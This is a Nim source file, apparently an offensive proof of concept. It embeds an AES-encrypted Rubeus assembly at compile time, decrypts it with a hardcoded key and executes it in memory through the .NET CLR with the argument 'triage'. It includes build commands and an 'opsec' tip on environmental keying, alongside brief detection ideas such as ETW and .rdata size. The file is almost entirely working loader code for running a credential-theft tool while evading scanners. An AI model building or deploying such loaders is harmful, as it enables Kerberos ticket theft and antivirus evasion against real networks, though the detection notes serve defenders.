import nimcrypto import winim/clr except `[]` # https://s3cur3th1ssh1t.github.io/Playing-with-OffensiveNim/ <-- thank you so much, 2 hours googling I almost went crazy #[ All credit goes to @byt3bl33d3r (OffensiveNim) and @s3cur3th1ssh1t nimble install winim nimcrypto zippy nim c -d:danger -d:strip --opt:size rsrcDecryptAssembly.nim slurp = "staticRead" will read the file and store it in the variable (.rdata) on compile time. - The filename string itself is not inside this nim binary Detection Ideas: ETW (etwbypass nim exists, but still), huge .rdata section size, CLRCreateInstance call, RW memory region committed with the size that is very similar to .rdata's size ]# func toByteSeq*(str: string): seq[byte] {.inline.} = @(str.toOpenArrayByte(0, str.high)) const NET_RESOURCE = slurp("C:\\dev\\test3\\Confused\\Rubeus_35s0x9oj.exe.aes") var encryptedData: seq[byte] = toByteSeq(NET_RESOURCE) var envIV = newSeq[byte](16) # First 16 bytes of the encrypted payload is the prepended IV for i in 0..15: envIV[i] = encryptedData[i] # Technically multiplier should be used for array's size instead of "50000" below. But can't figure out at compile time. #var multiplier = len(encryptedData) / aes256.sizeBlock # Decrypting - hardcoding the key for PoC. Use environmental keying for opsec. var envkey: string = "helloworld" var key: array[aes256.sizeKey, byte] var iv: array[aes256.sizeBlock, byte] var data: array[aes256.sizeBlock * 50000, byte] var decryptedData: array[aes256.sizeBlock * 50000, byte] var expandedkey = sha256.digest(envkey) copyMem(addr key[0], addr expandedkey.data[0], len(expandedkey.data)) copyMem(addr iv[0], addr envIV[0], len(envIV)) # Jumping over 16 bytes as an offset because first 16 bytes is the prepended IV copyMem(addr data[0], addr encryptedData[16], len(encryptedData)-16) var dctx: CBC[aes256] dctx.init(key,iv) dctx.decrypt(data, decryptedData) dctx.clear() echo "[+] Loading assembly - Press enter" var input= readLine(stdin) var assembly = load(decryptedData) echo "[+] Invoking asembly - Press enter" input = readLine(stdin) var arr = toCLRVariant(["triage"], VT_BSTR) # Pass whatever argument assembly.EntryPoint.Invoke(nil, toCLRVariant([arr])) echo "[+] Exiting - Press enter" input = readLine(stdin)